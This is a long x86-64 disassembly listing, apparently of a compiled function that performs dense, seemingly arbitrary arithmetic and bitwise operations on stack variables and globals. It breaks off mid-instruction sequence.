mov rax, qword [rsp + 0xc2a0]
movzx eax, byte [rax]
mov byte [rsp + 0x225], al
mov eax, dword [rsp + 0x4220]
mov dword [0x14019dcb0], eax
mov rax, qword [rsp + 0xb5c0]
mov ecx, dword [rsp + 0x4694]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41c0], eax
lea rax, [rsp + 0x46d4]
mov qword [rsp + 0xc2b8], rax
mov rax, qword [0x14019db30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4664]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4244], eax
mov rax, qword [rsp + 0xc2a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17b]
add eax, ecx
mov rcx, qword [rsp + 0xa780]
mov byte [rcx], al
mov rax, qword [rsp + 0xa750]
movzx eax, word [rax]
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0xa770]
mov ecx, dword [str.Po.b]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4920], eax
mov eax, dword [rsp + 0x4540]
mov dword [rsp + 0x4998], eax
mov rax, qword [rsp + 0xb438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb3d0]
mov ecx, dword [0x14019bfec]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d7e0], eax
mov eax, dword [rsp + 0x42f4]
mov rcx, qword [rsp + 0xb108]
mov qword [rsp + 0xc2c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2c0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbdf8]
mov dword [rcx], eax
lea rax, [rsp + 0x1170]
mov qword [rsp + 0xc2c8], rax
mov rax, qword [rsp + 0xafa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x206], al
lea rax, [rsp + 0xfa8]
mov qword [rsp + 0xc2d0], rax
mov rax, qword [rsp + 0xb0b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12e]
xor eax, ecx
mov byte [rsp + 0xb1], al
mov eax, dword [0x14019bf8c]
mov dword [rsp + 0x499c], eax
mov rax, qword [rsp + 0xafc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x42e8]
sar eax, cl
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0xb968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb148]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019c02c], ax
lea rax, [rsp + 0x45ac]
mov qword [rsp + 0xc2d8], rax
mov eax, dword [rsp + 0x4534]
mov ecx, dword [rsp + 0x488c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov eax, dword [0x14019bfcc]
mov dword [rsp + 0x49a0], eax
mov eax, dword [rsp + 0x4844]
mov ecx, dword [rsp + 0x4924]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc008]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfe8]
movzx ecx, word [rsp + 0xf68]
sub eax, ecx
mov word [rsp + 0xef8], ax
movzx eax, byte [rsp + 0x218]
movzx ecx, byte [rsp + 0x18d]
sub eax, ecx
mov byte [rsp + 0x9a], al
mov eax, dword [rsp + 0x4354]
mov ecx, dword [rsp + 0x4310]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x474c], eax
lea rax, [0x14019c028]
mov qword [rsp + 0xc2e0], rax
movsx eax, word [rsp + 0xa94]
movsx ecx, word [rsp + 0xecc]
imul eax, ecx
mov word [0x14019bf04], ax
movsx eax, byte [rsp + 0x1e9]
movsx ecx, byte [rsp + 0x1c4]
sub eax, ecx
mov byte [rsp + 0x14c], al
movzx eax, byte [0x14019bf07]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov byte [rcx], al
lea rax, [rsp + 0x1150]
mov qword [rsp + 0xc2e8], rax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xa888]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b0], eax
lea rax, [0x14019bf3c]
mov qword [rsp + 0xc2f0], rax
mov rax, qword [rsp + 0xb688]
mov ecx, dword [rsp + 0x41c0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x47b8], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x45cc], eax
mov eax, dword [rsp + 0x4804]
mov dword [rsp + 0x49a4], eax
movzx eax, word [rsp + 0x11b0]
movzx ecx, word [rsp + 0x1150]
shl eax, cl
mov word [rsp + 0xf18], ax
movzx eax, byte [rsp + 0x20c]
movzx ecx, byte [0x14019bf26]
sar eax, cl
mov byte [0x14019bf7f], al
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov dword [rsp + 0x49a8], eax
mov rax, qword [rsp + 0xa668]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4990]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbcc0]
mov eax, dword [rax]
mov dword [rsp + 0x49ac], eax
mov rax, qword [0x14019d7b8]
mov rcx, qword [rsp + 0xb9a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47dc], eax
mov rax, qword [rsp + 0xbfd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c3], al
movzx eax, word [rsp + 0x112c]
mov word [rsp + 0x1204], ax
movsx eax, word [str.3K6LAu_]
mov rcx, qword [rsp + 0xb810]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1114], ax
lea rax, [rsp + 0x1fa]
mov qword [rsp + 0xc2f8], rax
mov rax, qword [rsp + 0xb858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4458]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019db50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4414]
mov ecx, dword [0x14019bef8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x421c], eax
mov rax, qword [rsp + 0xb340]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1da]
sub eax, ecx
mov byte [rsp + 0x1bd], al
movzx eax, word [rsp + 0x1044]
mov word [rsp + 0x1208], ax
mov rax, qword [rsp + 0xa960]
mov ecx, dword [rsp + 0x45b4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb408]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa728]
mov eax, dword [rax]
mov dword [rsp + 0x49b0], eax
mov rax, qword [rsp + 0xc0c0]
mov ecx, dword [rsp + 0x4550]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb8a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x46a4]
mov rcx, qword [rsp + 0xb660]
mov qword [rsp + 0xc300], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc300]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa6c8]
mov dword [rcx], eax
lea rax, [rsp + 0x15f]
mov qword [rsp + 0xc308], rax
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0x1200]
sar eax, cl
mov word [0x14019c030], ax
mov eax, dword [rsp + 0x4658]
mov ecx, dword [rsp + 0x450c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4220], eax
mov eax, dword [rsp + 0x488c]
mov dword [rsp + 0x49b4], eax
mov rax, qword [rsp + 0xbb40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47e8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa998]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c48]
mov dword [rsp + 0x49b8], eax
mov eax, dword [rsp + 0x45d8]
mov ecx, dword [rsp + 0x3494]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4434], eax
movsx eax, byte [0x14019bf66]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16f], al
movsx eax, word [rsp + 0xecc]
mov rcx, qword [rsp + 0xc140]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb74], ax
movzx eax, byte [rsp + 0x1f1]
mov rcx, qword [rsp + 0xac28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0xb508]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1090]
add eax, ecx
mov word [0x14019bf1c], ax
lea rax, [rsp + 0x3418]
mov qword [rsp + 0xc310], rax
mov rax, qword [rsp + 0xbfa0]
mov ecx, dword [rsp + 0x4388]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4854], eax
movzx eax, word [rsp + 0xf00]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb44], ax
mov rax, qword [rsp + 0xc290]
movzx eax, byte [rax]
mov byte [rsp + 0x226], al
mov eax, dword [0x14019bfcc]
mov ecx, dword [rsp + 0x4810]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
mov dword [rsp + 0x49bc], eax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x417c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x46c4]
mov ecx, dword [rsp + 0x464c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4334], eax
mov rax, qword [rsp + 0xae18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x189]
xor eax, ecx
mov byte [0x14019bf16], al
movzx eax, word [rsp + 0xea0]
mov word [rsp + 0x120c], ax
mov eax, dword [rsp + 0x48d0]
movzx ecx, al
mov eax, dword [0x14019da38]
shl eax, cl
mov dword [rsp + 0x4570], eax
mov rax, qword [rsp + 0xc000]
mov eax, dword [rax]
mov dword [rsp + 0x49c0], eax
movsx eax, byte [rsp + 0x1e9]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xafa8]
mov byte [rcx], al
mov rax, qword [0x14019d868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1034]
or eax, ecx
mov word [rsp + 0x1194], ax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0xc318], rax
movzx eax, word [rsp + 0xffc]
movzx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov word [rsp + 0x11c8], ax
mov eax, dword [0x14019bf8c]
mov dword [rsp + 0x49c4], eax
lea rax, [rsp + 0x3420]
mov qword [0x14019dcb8], rax
mov rax, qword [rsp + 0xabd0]
mov rcx, qword [rsp + 0xa590]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa650]
mov dword [rcx], eax
lea rax, [0x14019bf98]
mov qword [rsp + 0xc320], rax
mov rax, qword [rsp + 0xafb0]
mov ecx, dword [rsp + 0x4670]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4984], eax
movzx eax, word [rsp + 0xf18]
mov rcx, qword [rsp + 0xa608]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf38], ax
lea rax, [0x14019bf2a]
mov qword [rsp + 0xc328], rax
mov rax, qword [rsp + 0xab48]
mov rcx, qword [rsp + 0xb000]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbac8]
mov eax, dword [rax]
mov dword [rsp + 0x49c8], eax
mov rax, qword [rsp + 0xbef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4560]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4540], eax
lea rax, [rsp + 0x4534]
mov qword [0x14019dcc0], rax
movzx eax, byte [rsp + 0x17f]
mov rcx, qword [rsp + 0xab68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a5], al
lea rax, [rsp + 0xf3c]
mov qword [rsp + 0xc330], rax
movsx eax, byte [0x14019bf0e]
movsx ecx, byte [rsp + 0x184]
sub eax, ecx
mov byte [rsp + 0x19a], al
movzx eax, word [rsp + 0x1088]
mov word [rsp + 0x1210], ax
mov rax, qword [rsp + 0xb8c8]
mov rcx, qword [0x14019dbd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb150]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc270]
mov rcx, qword [rsp + 0xbb80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x440c], eax
lea rax, [rsp + 0x1030]
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
mov rcx, qword [0x14019d918]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x200], al
mov rax, qword [rsp + 0xbac8]
mov rcx, qword [rsp + 0xbe60]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14019bffc], eax
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0xc340], rax
mov rax, qword [rsp + 0xbff8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4940]
shl eax, cl
mov dword [rsp + 0x42b8], eax
mov eax, dword [rsp + 0x45f8]
mov dword [rsp + 0x49cc], eax
movzx eax, word [rsp + 0x10a4]
mov rcx, qword [rsp + 0xb910]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc218]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1b5]
movzx ecx, byte [0x14019bf27]
sar eax, cl
mov byte [rsp + 0x12c], al
lea rax, [rsp + 0x4920]
mov qword [rsp + 0xc348], rax
mov rax, qword [rsp + 0xa598]
mov ecx, dword [rsp + 0x4848]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4264], eax
lea rax, [rsp + 0x335c]
mov qword [rsp + 0xc350], rax
lea rax, [0x14019bf90]
mov qword [0x14019dcc8], rax
mov rax, qword [rsp + 0xa920]
mov rcx, qword [rsp + 0xb408]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4378], eax
movsx eax, byte [rsp + 0x1b8]
movsx ecx, byte [0x14019bf0e]
add eax, ecx
mov rcx, qword [rsp + 0xbbf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x11f4]
movsx ecx, word [rsp + 0x115c]
and eax, ecx
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0xbfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1078]
sub eax, ecx
mov word [rsp + 0xed4], ax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0xc358], rax
mov rax, qword [rsp + 0xbb10]
mov ecx, dword [rsp + 0x431c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbdf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb638]
mov ecx, dword [rsp + 0x4588]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb378]
mov dword [rcx], eax
mov rax, qword [0x14019da88]
movzx eax, word [rax]
mov word [rsp + 0x1214], ax
movzx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0xb340]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019d7e5], al
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xae40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c7c], eax
mov rax, qword [0x14019db40]
mov eax, dword [rax]
mov dword [rsp + 0x49d0], eax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x481c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb110]
mov dword [rcx], eax
mov eax, dword [0x14019dc50]
mov rcx, qword [rsp + 0xb190]
mov qword [rsp + 0xc360], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc360]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb048]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb700]
movzx eax, byte [rax]
mov byte [rsp + 0x227], al
movzx eax, word [rsp + 0x10b0]
mov rcx, qword [rsp + 0xbb78]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xba00]
mov word [rcx], ax
lea rax, [rsp + 0x4218]
mov qword [rsp + 0xc368], rax
mov rax, qword [0x14019d848]
mov ecx, dword [rsp + 0x457c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb590]
mov dword [rcx], eax
lea rax, [rsp + 0x1ec]
mov qword [0x14019dcd0], rax
mov rax, qword [rsp + 0xb558]
movzx eax, word [rax]
mov word [rsp + 0x1218], ax
mov rax, qword [rsp + 0xaac0]
movzx eax, byte [rax]
mov rcx, qword [0x14019d7a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa800]
mov word [rcx], ax
mov rax, qword [rsp + 0xbaa8]
mov eax, dword [rax]
mov dword [rsp + 0x49d4], eax
mov eax, dword [rsp + 0x444c]
mov ecx, dword [rsp + 0x4870]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49b0], eax
lea rax, [rsp + 0x48e0]
mov qword [rsp + 0xc370], rax
mov eax, dword [rsp + 0x43d4]
mov ecx, dword [rsp + 0x4540]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4770], eax
mov rax, qword [rsp + 0xb5f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4728]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1d0]
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0xb178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf14]
and eax, ecx
mov rcx, qword [0x14019db90]
mov word [rcx], ax
mov rax, qword [0x14019d7d0]
mov ecx, dword [rsp + 0x44a8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb158]
mov dword [rcx], eax
lea rax, [rsp + 0x4408]
mov qword [rsp + 0xc378], rax
mov eax, dword [rsp + 0x480c]
mov ecx, dword [rsp + 0x4370]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x43e4]
mov ecx, dword [rsp + 0x48d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c0], eax
lea rax, [rsp + 0x1ef]
mov qword [rsp + 0xc380], rax
mov rax, qword [rsp + 0xba20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf60], ax
lea rax, [0x14019bf80]
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0xba70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf10]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x17e], al
lea rax, [rsp + 0x4564]
mov qword [0x14019dcd8], rax
mov rax, qword [rsp + 0xbe90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019bfec]
shl eax, cl
mov dword [rsp + 0x47f4], eax
mov rax, qword [rsp + 0xa940]
movzx eax, byte [rax]
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb520]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10cc], ax
mov eax, dword [0x14019bf60]
mov dword [rsp + 0x49d8], eax
mov rax, qword [rsp + 0xb2d8]
mov rcx, qword [rsp + 0xa568]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x45ac], eax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xa590]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3e18], eax
mov rax, qword [rsp + 0xacd8]
mov eax, dword [rax]
mov ecx, dword [0x14019db48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42f4], eax
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1130]
sub eax, ecx
mov rcx, qword [rsp + 0xb508]
mov word [rcx], ax
movzx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0xc308]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf16], al
mov eax, dword [rsp + 0x4524]
mov dword [rsp + 0x49dc], eax
mov rax, qword [rsp + 0xc268]
mov ecx, dword [rsp + 0x4618]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x488c], eax
mov rax, qword [0x14019d978]
mov eax, dword [rax]
mov dword [rsp + 0x49e0], eax
mov rax, qword [rsp + 0xb608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4270]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbbc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4480]
mov ecx, dword [rsp + 0x4968]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x478c], eax
lea rax, [0x14019bf66]
mov qword [rsp + 0xc390], rax
movsx eax, word [rsp + 0x1014]
movsx ecx, word [rsp + 0x1114]
sub eax, ecx
mov rcx, qword [rsp + 0xb6c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x187]
mov byte [rsp + 0x22a], al
movzx eax, word [rsp + 0xef4]
mov word [0x14019dce0], ax
mov eax, dword [rsp + 0x47e4]
mov ecx, dword [rsp + 0x3418]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b2c], eax
mov rax, qword [rsp + 0xc020]
mov ecx, dword [rsp + 0x4828]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb278]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
mov byte [rsp + 0x22b], al
mov rax, qword [rsp + 0xb9c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb8]
or eax, ecx
mov rcx, qword [rsp + 0xc118]
mov word [rcx], ax
lea rax, [rsp + 0x38a8]
mov qword [rsp + 0xc398], rax
mov eax, dword [rsp + 0x431c]
mov rcx, qword [rsp + 0xaaa0]
mov qword [rsp + 0xc3a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
lea rax, [0x14019c020]
mov qword [rsp + 0xc3a8], rax
mov eax, dword [rsp + 0x46b8]
mov ecx, dword [rsp + 0x44e8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [rsp + 0x1124]
sar eax, cl
mov word [0x14019bfb0], ax
movzx eax, byte [rsp + 0x1d2]
mov rcx, qword [rsp + 0xb700]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x163], al
mov eax, dword [rsp + 0x4504]
mov dword [rsp + 0x49e4], eax
mov rax, qword [rsp + 0xbda0]
mov rcx, qword [rsp + 0xbb50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa7a0]
mov dword [rcx], eax
lea rax, [rsp + 0x20b]
mov qword [rsp + 0xc3b0], rax
movsx eax, word [rsp + 0x11a4]
mov rcx, qword [rsp + 0xb7d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b8], ax
movzx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0xc018]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb398]
mov byte [rcx], al
lea rax, [rsp + 0xf4c]
mov qword [rsp + 0xc3b8], rax
mov rax, qword [rsp + 0xaf08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4964]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x419c], eax
mov eax, dword [rsp + 0x4914]
mov ecx, dword [rsp + 0x4400]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d8c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
mov dword [rsp + 0x49e8], eax
mov rax, qword [rsp + 0xb438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4710]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc088]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbab8]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4414], eax
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
mov word [rsp + 0x121c], ax
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0xb0c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15c], al
lea rax, [0x14019c020]
mov qword [rsp + 0xc3c0], rax
mov eax, dword [rsp + 0x346c]
mov rcx, qword [rsp + 0xc180]
mov qword [rsp + 0xc3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4640], eax
mov eax, dword [rsp + 0x45b4]
movzx ecx, al
mov eax, dword [rsp + 0x43a8]
shl eax, cl
mov rcx, qword [rsp + 0xb660]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb88]
mov eax, dword [rax]
mov ecx, dword [str.Po.b]
xor ecx, eax
mov eax, ecx
mov dword [0x14019c034], eax
lea rax, [rsp + 0x11c0]
mov qword [rsp + 0xc3d0], rax
movzx eax, byte [rsp + 0x14e]
movzx ecx, byte [rsp + 0x21a]
or eax, ecx
mov byte [rsp + 0x1cf], al
lea rax, [rsp + 0x17a]
mov qword [rsp + 0xc3d8], rax
movsx eax, word [rsp + 0x108c]
movsx ecx, word [rsp + 0x1054]
sub eax, ecx
mov word [rsp + 0xfc8], ax
lea rax, [rsp + 0x48b0]
mov qword [rsp + 0xc3e0], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xbf38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4808], eax
movzx eax, word [rsp + 0x10cc]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
lea rax, [rsp + 0x1cf]
mov qword [rsp + 0xc3e8], rax
lea rax, [rsp + 0x42bc]
mov qword [0x14019dce8], rax
mov rax, qword [rsp + 0xb000]
mov ecx, dword [rsp + 0x451c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4608], eax
mov rax, qword [rsp + 0xb068]
mov eax, dword [rax]
mov dword [rsp + 0x49ec], eax
mov rax, qword [rsp + 0xbd40]
mov rcx, qword [0x14019da58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc278]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb428]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d2], al
movzx eax, word [rsp + 0xebc]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0xbb60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1a0]
mov eax, dword [rax]
mov dword [rsp + 0x49f0], eax
mov rax, qword [rsp + 0xc2d8]
mov ecx, dword [0x14019db28]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49dc], eax
mov rax, qword [rsp + 0xaa08]
mov rcx, qword [rsp + 0xae08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019db58], eax
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbdf8]
mov dword [rcx], eax
lea rax, [rsp + 0x11c4]
mov qword [rsp + 0xc3f0], rax
movsx eax, byte [rsp + 0x1b0]
movsx ecx, byte [rsp + 0x216]
xor eax, ecx
mov rcx, qword [rsp + 0xb7c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaba8]
movzx eax, byte [rax]
mov byte [rsp + 0x22c], al
mov rax, qword [rsp + 0xbde8]
movzx eax, word [rax]
mov rcx, qword [0x14019db90]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x11b0], ax
lea rax, [rsp + 0x391c]
mov qword [rsp + 0xc3f8], rax
mov eax, dword [rsp + 0x3578]
